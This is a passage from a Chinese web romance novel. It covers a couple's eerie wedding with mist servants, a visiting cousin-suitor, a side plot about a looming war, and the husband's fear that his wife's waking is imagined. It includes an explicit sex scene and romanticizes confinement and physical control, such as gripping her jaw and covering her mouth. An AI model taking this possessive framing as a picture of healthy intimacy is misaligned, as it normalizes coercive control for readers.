“我想用尽一切办法,加深我们之间的联系,让它牢固到任何力量都无法斩断。” “从前,我一直认为大婚之仪,多与家族、利益纠缠不清。一旦掺杂了那些,关系便不再纯粹,很容易就会分开。我不想和你分开,所以,我不想和你大婚。” 他顿了顿,语气变得幽冷决绝,“不过现在我想清楚了。” “我们得永远在一起。” 他的声音如同宣誓,又如同诅咒,“无论未来如何,即便有一天我们会变成一对相互怨怼的怨偶,即便到最后兵刃相向,互相残杀,我们也必须在一起。生同衾,死也得同穴。” 沈染星被他裹在怀里,越听,头越大。 这都什么跟什么? 人才刚重新在一起,甜甜蜜蜜的日子还没过几天,他就已经联想到最后相爱相杀、至死方休的惨烈结局了? 这思路偏得不是一星半点…… 她实在听不下去了,索性踮起脚尖,双手捧住他脸颊,直接用自己的唇堵住了他那张尽说晦气话的嘴- 一年不见,白尘烬确实多才多艺了许多,连女子的发髻都会盘了。 婚礼的筹备简单,却又透着诡异的隆重。 沈染星坐在梳妆台前,白尘烬站在她身后,动作有些生疏,耐心地为她梳理长发,盘起繁复华丽的发髻。 她认出他取出的那套头面,正是当初他扔掉秦昭所赠礼物后,不知从何处寻来补偿给她的那一套。 赤金镶嵌着红宝与玉石,款式雍容华贵,虽并非特意为婚礼设计,但此刻戴在她头上,与这满院的红色倒也相得益彰。 这一场大婚,没有高堂宾客,没有喧闹喜乐。 但是十分热闹。 也……十分诡异。 院子里飘满了披红挂彩的雾人,它们机械地重复着递交酒杯,引领路线的动作,数量之多,几乎填满了庭院的角落。 他们完成了所有繁复的古老仪式,交杯合卺,叩拜天地。 每个步骤都不缺,每一步都十分顺利。 不过,还差了最后,也是最关键的一步——洞房花烛。 原因非常离谱。 白尘烬居然……真的开始守身如玉。 他将她送回布置一新的婚房后,只是在她额间印下一个克制而珍重的吻,便搂着她睡下了。 沈染星看着红彤彤的帐顶,一时间竟有些哭笑不得。 若不是亲眼见过,她差点都要怀疑,这家伙是不是偷偷练了什么需要断绝人欲,甚至自宫的诡异术法,才能在这洞房花烛夜,表现得如此……清心寡欲。 大婚的折腾加上心绪起伏,沈染星确实累了,虽对白尘烬的表现心存疑惑,但抵不住困意,还是早早睡下了。 第二日醒来,身侧的床榻已然空荡。 她唤来那些披着红绸的诡异雾人,草草为自己梳妆打扮了一番,便慵懒地趴在窗边的软榻上,随手拿起一本未看完的话本。 沈染星手肘撑在柔软的引枕上,一手漫不经心地翻着书页,另一手无意识地卷着耳边垂下的几缕碎发。 她身上只穿着一件质地轻薄的春日襦裙,布料柔软,贴合着身体曲线,更是勾勒出腰间一段玲珑窈窕的弧度。 不过看了约莫一刻钟,门外便传来了极轻微的脚步声,停在门口。 饵放了下来,鱼儿也快要上钩了。 沈染星假装没有听见门口的动静,连眼皮都未曾抬起,目光专注地落在书页的文字上,仿佛完全沉浸其中。 白尘烬在门外定定地站着。 他的目光穿过门扉,落在那个趴在榻上,身姿慵懒曼妙的身影上,眸色深沉难辨。 良久,才推门而入。 第90章 像一只沉寂多年的孔雀,…… 沈染星听着那脚步声, 指尖又翻过一页泛黄的纸张。 奇怪的是,那脚步声并未径直朝她走来,而是转向了内间。 她眼睛虽还盯着书本,耳朵却跟随着他的脚步声。 只听得那脚步声渐行渐远, 在内间停留了片刻, 似乎在取什么东西, 随后又渐渐靠近。 她几乎能在脑海中勾勒出他此刻的模样。 身姿落拓,信步而行,暗红色的衣摆随着步伐微微荡漾, 漫不经心, 却又从容地掌控一切。 她再次被翻动书页, 发出轻微的哗啦声。 下一刻,感到浑身一暖。 一件柔软厚实的锦缎被衾从天而降,将她从头到脚裹了个严严实实,只露出一张略显错愕的小脸。 紧接着,白尘烬就着这层被衾, 连人带被子一起, 稳稳地抱了起来, 搂进怀里。 沈染星:……?! 她吃惊地仰头, 看向他近在咫尺的脸,隔着素帛,都能感受到他目光的专注。 “你……回来,就是专门为了给我盖个被子?” 这操作让她有些摸不着头脑。 不料,白尘烬竟真的低低“嗯”了一声。 甚至还附上了解释:“春寒料峭, 别把自己冻生病了。” 沈染星:“……” 她在他怀里挣扎着想要坐起身,被裹得像只蚕蛹般行动不便,只好仰着脸质问:“白尘烬, 你老实说,我是不是对你没有吸引力了?” 问完,她视线他身下某处飞快一瞥。 好吧,这个猜测……不成立。 她又立刻改了口,“也不对啊?可是你这段时间为什么都故意避着我?” 她微微蹙着眉,腮帮子因不满而微微鼓起,眸子灵动而困惑,带着一种不自知的娇憨。 白尘烬看着她这副模样,竟低低地轻笑了一声。 那笑声不再带着冰冷嘲讽或偏执阴郁,而是从胸腔里震动出来的,带着暖意,一如窗外那些在春日暖阳下灿烂盛放的鲜花,瞬间晃了她的眼。 沈染星心蓦地一跳,感觉脸颊有些发烫。 糟糕,她脸肯定红了。 白尘烬低下头,将脸埋进她温热的颈窝里,深深吸了一口气,仿佛在汲取她身上的气息。 他声音闷闷地:“我知道你在着急什么。不过是想与我亲近,好让我心软,达成你的目的罢了。” 沈染星心头一凛,下意识地想反驳。 可是,她好像的确有这个意思…… 又听见他道:“你想让我心软,然后离开这里……我不会再给你机会,让你像从前那样与我亲昵,放松我的警惕,然后离开我。” 语气里并没有被算计的怒气,反而娓娓道来的。 却如同惊雷,在沈染星耳边炸开,带来了无以名状的震撼。 这话说的…… 仿佛她像是一个睡了她,达成了目的,就提裤子离开的混蛋一样。 话又说回来,她确实一直在刻意与他亲近来着。 最初是为了在危机四伏的环境中活命,后来是掺杂了说不清道不明的复杂情愫,再后来是真的喜欢上了他。 可是,若纯粹从他的角度看来…… 似乎、还挺像、大概、可能…… 真的有那么点他所说的那种意味。 想到这里,沈染星心里那点被质问的底气,瞬间泄了大半。 她软了语调:“白尘烬,你听好,我发誓,只要你不负我,无论如何,我都一定不会离开你了。” 白尘烬听了,沉默了片刻,埋在她颈窝的头颅动了动,随即,她又听到了他那低哑的、仿佛带着钩子的轻笑声。 那笑声磨蹭着她的耳廓和颈侧的皮肤,带来一阵阵过电般的麻痒,一直痒到了心里去。 沈染星不自然地清了清嗓子。 她发现,当他不再带着那种阴恻恻的,令人不安的意味发笑时,那低沉沙哑的嗓音,竟是如此该死的好听,撩人。 半晌,白尘烬才从她颈窝抬起头。 他看着她,慢悠悠吐出一个字: “好。” 白尘烬方才过来,确实是透过雾人的感知,发现她只着了件单薄春衫趴在榻上,担心初春寒气侵体,才特意折返,给她裹上了厚实的被衾。 他似乎还有其他事情要处理,监督着她老老实实套上一件更保暖的织锦外衫后,便又匆匆离开了。 沈染星独自在房里又看了会儿书,觉得有些气闷,便起身出了房门,在春日融融的庭院里信步闲逛。 经过昨日那场诡异的婚礼,院子里悬挂的红绸尚未撤去,在姹紫嫣红的花丛间万分醒目- 秦昭有些惊讶。 上一次他来时,这里虽被强大的力量维持着春日景象,却总透着一股死寂。 花开得再艳,也无人欣赏,风过回廊,不带人声,仿佛一座被时光遗忘,精美却毫无生气的巨大盆景,孤寂而压抑。 可如今…… 眼前这满园的蓬勃春色几乎要溢出来。 还处处悬挂着红绸,简直像是一只沉寂多年的孔雀,突然开了屏,这院子的热闹殷勤姿态,几乎扑面而来。 …… 看来他这个表弟,不仅仅是把自己关在这里,怕是疯得比以前更厉害,更难以捉摸了。 他受姨母所托,每隔一段时间,便借着运送必需物资的名头,偷偷溜进来,查看白尘烬的状况。 每次回去禀报,他都要将所见所闻精心润色一番,把人不人,鬼不鬼的白尘烬,描述得还有个人样,生怕姨母过度担忧。 可这一次看来…… 秦昭看着这满眼不合常理的生机与喜庆,觉得似乎连润色的必要都没有了。 甚至,如果他直接回去告诉姨母,她那向来冷得像块冰,行事只凭自己喜恶的儿子,如今不仅没死,还把这苦寒之地的别院,折腾得跟个新房似的,喜庆又活力。 ……估计都没几个人会信。 闲庭花木扶疏,秦昭在其中信步而行,姿态从容潇洒,心里却是一点也从容不起来,只觉得一个头两个大。 难呐! 不如实相告吧,万一这宝贝表弟真在这鬼地方出了什么不可挽回的大事,他秦昭,可担不起这个天大的责任。 如实相告吧,姨母那绵绵不绝的担忧和眼泪,以及随之而来的各种询问和嘱咐,绝对能把他折腾得脱层皮。 秦昭在这片过分灿烂的花色里慢慢踱着步,心里盘算着得失。 这鬼地方,即便兼程赶路,来一趟也要耗费一个多月。 再让他这么跑上几次,还不得未老先衰,直接夭寿…… 正想着,秦昭脚步猛地顿在了原地。 他的目光死死锁在不远处的花圃。 那里,繁茂的芍药丛中,不知何时,竟多了一名俯身嗅花的女子。 她穿着一身水红色的襦裙,墨发如瀑,仅用一支简单的玉簪松松挽起部分。 此刻正微微弯着腰,侧脸线条柔和,鼻尖轻触着一朵开得正盛的粉色芍药,花丛茂盛,挡住了她大半张脸。 阳光透过花叶的缝隙,在她身上洒下斑驳的光点,整个人仿佛融入了这片过分美好的春景之中,静谧得像一幅精心绘制的图。 白尘烬旧人不再,换新人了?! 秦昭惊讶万分,往前疾走了两步,弄出了些许声响。 花丛中的女子听到动静,直起身,疑惑地抬头望来。 四目相对。 那是一双清澈明亮的杏眼,此刻里面盛满了与他如出一辙的,全然的不可置信。 她的惊讶程度,一点不比他少。 然而,当秦昭彻底看清这名女子的面容之后,他心中的惊讶,瞬间飙升到了一个新的高度,远远超过了沈染星。 他的心脏像是被什么东西狠狠撞了一下,激动得几乎要跳出胸腔。 他三步并作两步,几乎是冲到了沈染星面前,声音因为极度的震惊而有些变调,带着难以置信的确认: “染星?真的是你?!” 沈染星看着突然出现在眼前,风尘仆仆,却难掩俊朗的秦昭,也彻底愣在了原地,好半晌才找回自己的声音,带着同样的惊疑: “秦昭?你怎么会在这里?” 两人皆是缓了许久,才在花圃旁的石凳上坐下,空气中都弥漫着一种混合了震惊,恍然与紧迫感的复杂气氛。 沈染星顾不得寒暄,立即切入正题,压低声音向他打听外面的情况。 想到当下形式,秦昭喜色退了大半,变得凝重起来。 萧霁雪前些日子遭人暗算,坠落悬崖,一度行踪成谜,许多人都以为她已遭遇不测。 然而她竟奇迹般地回来了,只是处境愈发艰难。 无论是朝廷中视她为眼中钉的保守派,还是因谣言而对人族充满仇恨的妖族,如今都想置她于死地。 一直跟随在她身边的那头龙妖墨临渊,眼见局势恶化,她护着的人和妖,不断被刺她,早已心寒。 又极度担忧她的安危,所以强烈反对她继续以身涉险,双方因此产生了激烈的分歧。 这内部分裂的局面,导致国师及其残余势力愈发猖獗壮大,气焰嚣张,甚至已经开始直接威胁到皇族的统治根基。 秦昭此次亲自前来,除了例行运送物资和查看白尘烬的状况外,另一个重要任务,便是希望白尘烬能出手,清理一下国师安插在关键位置的势力。 近来国师猎取妖丹的行为愈发狠厉疯狂,照此下去,一场席卷人、妖两族的大战将无可避免,届时必定生灵涂炭,后果不堪设想。 沈染星越听越是心惊。 在她的干预下,原本国师差点折在白尘烬手里,大部分火力都被他们吸引。 可她离开后,剧情的强大惯性,似乎又将一切扳回了轨道,这场原书中注定惨烈的大战,难道真的无法避免吗? 情况远比她想象的还要糟糕得多,她不由得微微走神,心绪沉重。 秦昭见她沉默,似乎没有其他问题要问了,便将注意力完全放在了她的身上。 “你居然真的还没死?是什么时候醒过来的?” “我醒过来有二十多天了。” 秦昭恍然,难怪白尘烬那时,传信让他送一些大婚方面的物什。 沈染星道:“可是一直被关在这里,接触不到任何外面的消息……他告诉你们,我已经死了?” “这倒也没有明说……” 秦昭垂眼,道:“只是他不让任何人靠近你,更不许探视。久而久之,即便我们说他只是将你保护起来,也没人相信你还安然无恙了。 沈染星静静听着,心中对共生苑,对纪明月他们的担忧愈发强烈。 秦昭道:“所有人都认为,以你的性子,若是还活着,他定然是关不住你的。” 她有些吃惊:“你们也太看得起我了……” 秦昭看了她半晌,才缓缓道:“外面人人都说你心性柔软,甚至有些怯懦,不过是被你骗了。你何时真正软弱过,分明是……硬得很。” “这话又从何说起?”沈染星不解。 “你很清楚自己想要什么,并且会为此付出坚定不移的努力,甚至不在乎外界的非议与眼光。” 秦昭面色温和,目光却锐利:“能有如此坚韧心性的人,自然会吸引许多人真心追随。不了解你的人,或许都会被你平日里温和的处事手段,以及……” 他的视线落,在她少女稚气而精致脸庞上,“……你这副看起来软糯无害的模样所欺骗。” 沈染星听着他这番评价,只觉得一顶“扮猪吃老虎”的高帽重重压了下来,让她有些哭笑不得。 秦昭仿佛陷入了某种回忆,语气带着淡淡的自嘲与怅惘:“我秦昭自诩心性坚定,不为杂情所扰,行事只权衡利弊。可如今……我还是后悔了。” 他看向沈染星,目光认真:“我当时应当告诉你,即便你一无所有,我也是想娶你为妻的。” 沈染星下意识点头。 这句话脑海里盘旋,咀嚼了许久,她才完全理解其中的含义。 于是猛地抬起头,愕然地看着他。 秦昭迎着她的目光,坦然道:“我许多时候都在想,若是我当时的回答,没有那么功利,没有那么算计得失会不会,一切都会变得不一样?” 沈染星立即摇头:“不会。” 秦昭微微挑眉,温和地看着她,等待她的解释。 “我离开,不是因为你。”沈染星的声音很轻,“是因为他,还有……萧霁雪。” 她与白尘烬的关系,秦昭大致清楚,可萧霁雪…… 沈染星道:“如果我不离开,他们或许……都会因我而陷入无法挽回的灾难之中。” 秦昭道:“你和萧大人很熟?” 沈染星正欲开口。 周围的空气却骤然降温,仿佛一瞬间从春日,跌入了数九寒冬。 甚至产生了令人心悸的压迫感。 两人皆若有所感,同时转头,朝着寒意来源的方向望去—— 不远处,繁茂花丛投下的阴影深处,白尘烬穿着一身红色衣袍,周身缠绕的素帛,在微弱的的光线下泛着冷白的光,整个人像一座沉默的冰雕。 素帛遮住了他大半张脸,看不清具体神色,但那双露在外面的灰蓝色眼眸,此刻如同凝结了万载寒冰,幽深得不见底,阴郁而冰冷。《 》 90-100 第91章 你会选谁? 沈染星心脏猛地一跳, 像是做了亏心事被抓包一般,尽管她自认与秦昭的交谈并无任何越轨之处。 相比之下,秦昭却显得镇定自若,甚至还颇有底气。 他脸上挂起惯有的温和笑容, 对着白尘烬的方向说道:“尘烬, 你来了。姨母听闻你这别院里的花开得格外繁盛, 特意嘱咐我过来时,采摘一些回去给她养在房里赏玩。” 见白尘烬依旧冷着张脸。 他语气自然,笑问:“你……该不会介意吧?” 沈染星在一旁听着, 心里莫名泛起一丝古怪。 秦昭这副谦谦君子、温润如玉的模样, 怎么听起来…… 隐隐透着一股子茶味? 白尘烬并未理会秦昭那番听说辞。 他迈步, 从容地从扶疏的花影中走出,目光甚至未曾在他身上停留片刻,便径直朝着沈染星走来。 两人之间似乎有种心照不宣的默契,关系算不上融洽,却也维持着一种微妙平衡。 白尘烬走到沈染星身边, 目光落在她身上, 语气平淡:“你随意, 我不过是来寻我娘子。” 闻言, 秦昭眼睫微垂,视线顺势滑到沈染星身上:“你们成亲了?” 沈染星点头:“嗯……昨晚。” 秦昭的目光在她身上那件明显与白尘烬所着款式相配、颜色喜庆的衣裳上扫过,眼底掠过一丝了然。 他记得清楚,这批料子,是昨日清晨才随着物资一同送达的, 没想到……这么快就被用上了,效率高得惊人。 就在这时,两人衣袖相接, 白尘烬冰凉的手指穿插进沈染星的指缝,紧紧扣住,牵了她的手便要离开。 秦昭收回视线,有些怅然若失,不过也替他们高兴。 即便他对沈染星有意,他们二人太过坎坷,如今修得正果,倒是让人松了口气。 然而,他刚安抚好了自己,白尘烬才刚迈出一步,脚步便顿住了。 他并未回头,只是侧过脸,冷淡道:“花摘完后,便离开吧。” 随即,又补充道:“不然,届时无论你把谁搬出来,我都保证不了你的安全。” 秦昭闻言,心里暗骂两句。 不过脸上并无愠色,反而朝他微微躬身,行了一个无可指摘的礼,语气恭顺地应道:“是。” 沈染星被白尘烬拉着转身,忍不住又回头看了秦昭一眼。 他此刻低眉顺目的姿态,总让她觉得有些说不出的奇怪。 按照她所知,白尘烬的母亲是秦昭的姨母,论起来,秦昭是白尘烬的表哥。 可秦昭对待白尘烬的态度,全然不似兄长对弟弟,反而更像……臣属对待上位者,带着一种刻在骨子里的恭敬与界限分明的距离感。 她正兀自思忖着这层怪异的关系,手上传来的力道陡然增大,捏得她指骨微微发疼。 沈染星吃痛,抬头看向身侧的男人。 白尘烬脸上没什么表情,薄唇紧抿,下颚线绷得有些紧。 他迈开长腿,大步流星地向前走去,根本不顾及她的步幅。 他身量极高,这般毫不迁就的步伐,沈染星几乎是小跑着才能勉强跟上。 两人的速度快得惊人,两道醒目的红色身影,衣袂翻飞,穿过繁花庭院,掠过紫藤游廊。 吱呀一声,房门被推开,又嘭地一声被重重关上。 沈染星的脊背撞在冰凉的门板上,还未等她稳住心神,白尘烬高大的阴影,便已带着迫人的压力笼罩下来,将她完全困在他的气息与门板之间。 他低下头,声音低沉而紧绷:“我和萧霁雪,你会选谁?” 沈染星几乎是条件反射般,不假思索:“当然是……” 等等! 情况似乎不太对劲! 他若是让她在他和秦昭之间做选择,虽然也够莫名其妙的,但好歹还算符合一点吃醋的逻辑。 可她刚刚听到了什么?萧霁雪?! 是她听错了吗? 沈染星眨了眨眼:“你刚刚说什么?” 白尘烬老实地重复了一遍,甚至刻意放缓了语速,确保每字每句,都落在她耳中:“我和萧霁雪,你会选谁?” 沈染星只觉得自己的脑子“嗡”地一声,快要宕机了。 她甚至怀疑自己是不是还在做梦,或者产生了幻听。 这明明应该是她藏在心底、辗转反侧、想要向他求证的问题…… 怎么会从他的嘴里问了出来?! 白尘烬见她眼神飘忽,明显走了神,眼底的阴郁之色更浓。 他一把扣住她的下颌,强迫她抬起脸,与自己对视。 沈染星看到了映在他眼眸中,自己那张写满了震惊和不可思议的脸。 她干巴巴道:“萧霁雪是女的。” “女的又如何?”白尘烬反问。 沈染星一时语塞,愣住了。 他居然是如此开放的吗?连性别都不成问题了? 不对! 重点不是这个! 她猛地意识到,白尘烬的思维模式从来就不是简单的雄竞。 他是在和一切可能分走她注意力,可能让她离开他的人或事物竞争! 无论对方是男是女,是人是妖! 见她依旧没有给出答案,眼神又开始涣散,白尘烬扣住她下颌的手微微用力往下一压,迫使她仰起头,更加直面自己。 沈染星吃痛,这才彻底回过神来。 她呆呆地看着白尘烬:“所以你从前,一直想方设法阻止我和萧霁雪见面,百般阻挠我接近她,是因为你担心,我会选择她,放弃你,去到她身边?” “不是吗?” 这个问题,离谱得来,又莫名合理。 沈染星混乱的脑子,开始渐渐运转起来。 似乎,从一开始,的确是这样的。 那时她觉得待在他身边太过危险,朝不保夕,便一心想着找到原书女主萧霁雪,认为待在代表着正道和安全的萧霁雪身边,才是明智之举。 她确实无数次动过想要离开他,投奔萧霁雪的念头…… 原来,他那么早就察觉到了她的这份心思。 原来,他只是担心她离开。 一股狂喜,如同决堤的洪水,瞬间冲垮了沈染星心中最后一道防线。 那股喜悦如此汹涌,如此滚烫,让她浑身都微微颤抖起来,眼眶不受控制地迅速泛红、发热。 她张开双臂,用尽了全身的力气,朝着白尘烬的胸膛扑了过去。 白尘烬手还扣在沈染星下颌,担心伤到她,下意识便松了手。 随即张开双臂,将扑来的娇小身躯,稳稳地,紧密地接住,护在怀中。 沈染星紧紧搂住他的脖颈,将脸埋在他心口,反问:“我选你,那你呢?你会选我吗?我和萧霁雪,你会选我吗?” 这是她一直逃避,不敢深想,更不敢问出口的问题。 她曾向血脉相连的至亲隐晦,甚至可以说是直白地寻求过答案,毫无例外…… 她向来都是被权衡,被放弃的那一个。 可如今,她似乎看到了不会被抛弃的可能。 她也是可以被坚定选择的那一个了。 白尘烬其实并不能完全理解她此刻剧烈的情感波动。 分明是她一直在关心别人,心心念念着别人,该生气、该算账、该感到不安的人,应该是他才对。 可此刻,可她却像是那个碎掉的人,那个碎成了一片一片,正在一点点努力把自己拼凑起来的人。 沈染星温热的泪水浸湿了他颈间的素帛,温度滚烫,几乎要灼伤他的皮肤。 怀里的人已经哭得上气不接下气,纤细的肩膀不住地耸动。 白尘烬心底那点因萧霁雪而起的阴郁和计较,不知不觉,已经消散得无影无踪。 他只能一下下轻轻抚摸着她的脊背,低下头,吻去她不断滚落的泪珠。 他一边吻,一边轻声她耳边安抚:“你,一直都是你,别哭……” 博山炉轻烟袅袅。 萧霁雪正凝神阅读着刚由暗线传来的密报,忽然鼻尖一痒,控制不住地打了一个大大的喷嚏。 她立刻拿起一方素净的绣帕掩住口鼻,肩头微微颤动。 坐在窗边闭目养神的墨临渊闻声,倏然睁开眼,冷淡地扫了她一眼。 又漠然地垂下眼帘,薄唇紧抿,一副拒人于千里之外的冰冷姿态。 他们因前几日的争执,已经好长时间没有说过话了。 萧霁雪缓了片刻,揉了揉仍有些发痒的鼻子,重新拿起那份密报。 信上说,他们似乎发现了国师一名早年心腹的踪迹,此人或许知晓国师某些不为人知的弱点或命门。 室内刚恢复了片刻的安静。 “阿——嚏!”萧霁雪又是一个喷嚏打出,比刚才那个还要响亮。 她有些无奈,蹙起秀眉,纤长的睫毛轻轻颤动,抬手用指尖轻轻,按了按突突直跳的太阳穴。 这到底是谁在背后如此惦记她? 害她接二连三地打喷嚏,没完没了,连鼻尖都微微泛起了红。 先前坠崖留下的内伤尚未痊愈,剧烈的喷嚏不可避免地牵扯了腹部的伤口,带来一阵阵隐痛,痛得她面色微微发白。 她下意识伸出手,隔着单薄的衣物,轻轻捂住那处仍在隐隐作痛的伤处,甚至额角渗出来细密的冷汗。 就在她因疼痛而分神的刹那,手中倏然一空。 那份密报已被一只骨节分明的大手抽走。 萧霁雪蓦然抬头,正正对上墨临渊近在咫尺的那张俊脸。 他面色阴沉得几乎能滴出水来,捏着那张薄薄纸张,眸中怒火中烧,紧抿的薄唇扯出一道冰冷的弧度。 “我耗费心力将你从崖底捞回来,”他的声音冷硬,咬牙切齿,“不是要眼睁睁看着你,为了那群忘恩负义,恨不得你死的人,如此作践自己的。” 他本已下定决心不再管她,任由她自己去折腾。 可一看到她此刻这副脸色苍白,强忍伤痛,却仍要勉力支撑的虚弱模样,胸腔里那股无名火就压不住地往上窜,连同那点被他强行按捺下去的关心,也一并破土而出。 萧霁雪看着他分明担忧,却偏要板着脸的别扭模样,眼底漾开细碎星光。 她故意轻咳两声,果然见他眉头微紧,微微弯起唇角道:“临渊,我也想在你这儿好好休息,安稳养伤,可是……” “人,我去帮你捉。” 墨临渊还是妥协了,打断了她的话,语气硬邦邦的。 他面上一副“懒得听你废话”的烦躁,可终究还是看不得她这般模样。 萧霁雪眼底的笑意瞬间加深,她就知道,这条嘴硬心软的龙不会真的丢下她不管。 墨临渊对上她那得逞的笑容,真是灿烂得过分的,心头那股邪火像是被浇了一盆温水,噗嗤一下熄了大半,再也无法维持那副冷硬的黑脸。 他有些不自然地移开视线,捏紧手中的纸条,转身,便大步流星地离开了房间。 还未出门,又忍不住低斥一句:“……好好躺着,别再让我看见你下榻!”- 其实沈染星也不是有意的,不知怎么的,她就把白尘烬拐到了榻上。 直到身前的人低声问:“你在抖什么?” “我没……”沈染星抬眼看向他,话没说完,发现自己声音确实在微微发颤。 她稳了稳呼吸,轻声说:“你要不要先冷静一下?” 白尘烬沉默片刻,嗓音低哑:“托你的福,冷静不下来了。” 沈染星还想再劝,唇上又被他结结实实地亲了一口,连牙齿都磕碰出声。 随即她往下看了一眼,又吃惊地抬起头。 白尘烬眉眼微微一弯。 他果然没完了! 沈染星完全低估了一个隐忍许久的男人,一旦放.纵起来会有多不知疲倦。 前段时日,他还装得一副正人君子,洁身自好的模样,此时却像是换了个人,要多混账有多混账。 即便两人已经纠缠许久,把她折腾得几乎没了力气,他却仍觉得不够。他一言不发,喉结生硬地滚动,眼中的欲望如野火般疯长,眼神异常深沉,让她有种被牢牢攥住的感觉。 沈染星原本以为自己很了解他,这时才发现,他从前竟是一直收敛着的。 “一口吃不成个胖子,我们来日方长。”她试图劝他。 白尘烬没说话,只是伸手捂住了她的口鼻,把那团团热气,把玩在指掌之间。另一手,则一直往下,置于罅隙,不紧不慢地上下挑动。 沈染星呼吸又渐渐急促起来,眼睫毛剧烈颤动。 他看了一下手上的湿意,油盐不进:“既然一口吃不成,那就多吃几口。” 沈染星声音已经不成调:“我有些累了。” “那便趴着吧,你不需要出力。” 闻言,沈染星大为震撼。 还未反驳,她便被翻了过去,床帐被她扯开,水波似的乱晃。 沈染星把脸缩回来,埋进臂弯里。 随即声音被困在喉间,吐不出来,一时间,憋得脸色绯红。 等他终于松开,她气恼道:“一次两次没轻没重就算了,怎么这次还是这样?你是色中恶鬼吗?” “是。” 对方太过实诚,反倒让沈染星一下子不说话了,她发现自己越扑腾,他便越兴奋。 她才声讨了这么一句,就感觉他说话的语调都变了。 那个“是”字像是从齿缝间磨出来的,在耳边响起,耳根一阵发麻。 看不到人,她心里更没底,趁着这一空隙,她把自己翻了回来。 才定下来,热源又再一次贴了下来。 沈染星顿时倒吸一口气,仰起头,锁骨展露无遗,几乎惊骇欲绝地拱起。 “你……急什么……” 这一句话,没能挣扎着说完,她便整个人泄了劲。 也没心思再指责他了,手指胡乱地在他松垮的素帛上抓挠。不多时,白尘烬身上的素帛几乎全被她扯落,整个人毫无遮掩地呈现在她面前。 “你不再不节制地使用那股力量,这些伤疤,是不是就不会再添新的了?” “你又想做什么?” 沈染星撑起身子,搂住他的脖颈,凑到他耳边轻声说:“就是不想你再受罪了而已。” 他显然不信,沉声道:“我们不会离开这里。” 第92章 以她的情绪为食 这家伙一点预告都不给, 沈染星瞬间就冒了汗,指甲几乎要嵌入他皮肉里,呜咽声被撞得支离破碎,连一句完整的话都说不出口。 只是混混沌沌地想, 既然他自己要痛着, 便痛着吧。 谁稀得管他似的。 她之前劝他不要无节制地使用那股力量, 在白尘烬听来,或许误解成了她是为了寻找离开这里的契机。 可天地良心,她当时真的没想那么多。 仅仅是因为看到了他衣衫下那布满新旧伤痕, 不断皲裂又愈合的肌肤…… 有些心疼罢了。 在这极寒冰川的特殊环境里, 他体内那躁动不安的图腾不再显现, 但更严峻的问题出现了。 他的肉体凡胎,似乎越来越难以承受那股力量。 力量在他体内奔涌,竟会从他的肌肤表面直接撕裂开伤口。 所以他身上总是带着许多伤痕,旧的疤痕刚刚淡去,新的裂痕又添上, 虽说不算密集, 但遍布全身, 看起来也十分骇人。 如此想来, 她回来的第一日,他在手上划的那道口子,与之相比,简直是小巫见大巫。 难怪他淡定地当时让她不要理会。 思绪飘忽间,她的目光落在他左脸, 脸颊上有道新增的疤痕。 那疤痕自额角斜斜向下,划过眉骨附近,一直延伸到耳垂处, 颜色尚新,带着几分狰狞。 这道伤疤倒是没有折损他的容貌,反而为他平添了一股野性。 鬼使神差地,百忙之中,沈染星仰起头,轻轻吻上了那道疤痕。 白尘烬的眼眸一下子便赤红了,猛地掐住她腰。 …… 不知过了多久,床帐不再晃动,沈染星也疲惫极了。 白尘烬俯下身,温柔地吻去她眼角被逼出来的泪痕,温声道:“好了,我不闹你了。” 沈染星累得眼皮都懒得抬,从鼻子里哼出一声:“你最好说到做到。” 空气安静极了,只余下浅浅的呼吸声。 白尘烬没有回应。 沈染星瞪向他。 他与她对视片刻,才低声道:“我答应你。” 合着刚才那句居然是随口哄人的?! 沈染星气结,愤愤地转过头去,用后脑勺对着他,不想再理会这个说话不算话的混蛋。 这时,白尘烬的声音在她身后响起:“我需要出外出一趟。” 沈染星闻言,立刻转回头看他,也顾不得生气了:“出去一趟?要离开多久?” “轻装简从,最快也要半个月。” 沈染星点了点头,低声道:“好。” 其实,听到他说要离开,她的第一反应是心慌。 上一次,他也只是说“出去一下”,结果却是好几日不见人影。 这一次,预计就要半个月,若是途中再发生什么意想不到的变故,她都不知道要等到何年何月。 白尘烬伸手将她重新搂进怀里,下巴抵着她的发顶,承诺道:“这一次,我不会耽误时间,一定尽快回来。” 沈染星将脸埋在他胸口:“……好。” 她的话音刚落,房门便被无声地推开了。 雾人如同没有重量的幽灵般,扛着盛满热水的木桶,鱼贯而入- 三日后。 冰冷彻骨寒风里,白尘烬静立于墙头,墨发与暗色衣袍在寒风中猎猎作响,如同栖息在绝壁上的孤鹰,沉默凝视着下方庭院中的那一抹身影。 他与沈染星交代,要离开一段时日后,可踏上行程不过三日,那强行构筑的心理堤坝便轰然倒塌。 归心似箭,不,或许比箭更急,一种无法言喻的恐慌攫住了他,迫使他调转方向,不顾一切地折返。 因为归途之中,那短暂却美好的相处记忆,开始变得模糊不清,如同水中月,镜中花。 他开始疯狂地怀疑—— 沈染星真的醒过来了吗? 还是说,那仅仅是他思念成狂后,臆想出来的一场过于逼真,以至于让他沉溺其中无法自拔的美梦? 是他精神彻底崩溃前产生的幻觉? 他将她带来这片生命绝迹的极寒之地,倾尽所有,也不过勉强维持住她一线生机三个月。 怎么可能就在他几乎绝望之际,她便如此轻易地苏醒了过来? 这太过巧合,巧合得……不像是真的。 这般想着,体内那股力量,失控地翻涌躁动起来,在他皮肤下游走,冲撞,带来撕裂般的痛楚。 他整个人仿佛被扔进了沸腾的油锅,在那势不可挡的煎熬中,几乎要皮开肉绽。剧烈的痛苦让他无法维持前行,最终生生从半空栽落。 蜷缩在茫茫雪地里,他剧烈地喘息,即便能通过那些没有意识的雾人,模糊地感知到庭院里她的存在,他依旧无法确定。 那到底是真实存在的,鲜活的沈染星,还是他濒临崩溃幻境? 他告诉自己,就看一眼。 只看一眼,确认她是否真的在那里,是否真的如记忆中那般鲜活。然后,他便再次出发,去完成该做的事。 于是,他回来了。 屋檐下,靠着一把木梯。 沈染星就坐在那倾斜的屋顶上,双手托着腮,望着不知名的远方,许久都维持着同一个姿势,一动不动。 看到这一幕,白尘烬心中那根弦,绷得更紧了。 他大致明白,自己为何无法确定了。 因为在沈染星昏迷不醒,尚未被放入那口聚气的黑棺之前,他常常会这样做。 他会将她抱到院子里,让她或站、或坐、或躺在自己身边,为她整理好衣裙和发丝,摆出各种看似自然的姿势,然后坐在她身旁,对着那具没有灵魂的躯壳,自欺欺人地说话,假装她已经醒了,只是不愿理他。 直到后来,她的气息微弱到连这般伪装都难以维系,他才不得不将她放入那具特制的黑棺之中。 自此,他的生活便彻底陷入了更深的灰暗与单一。 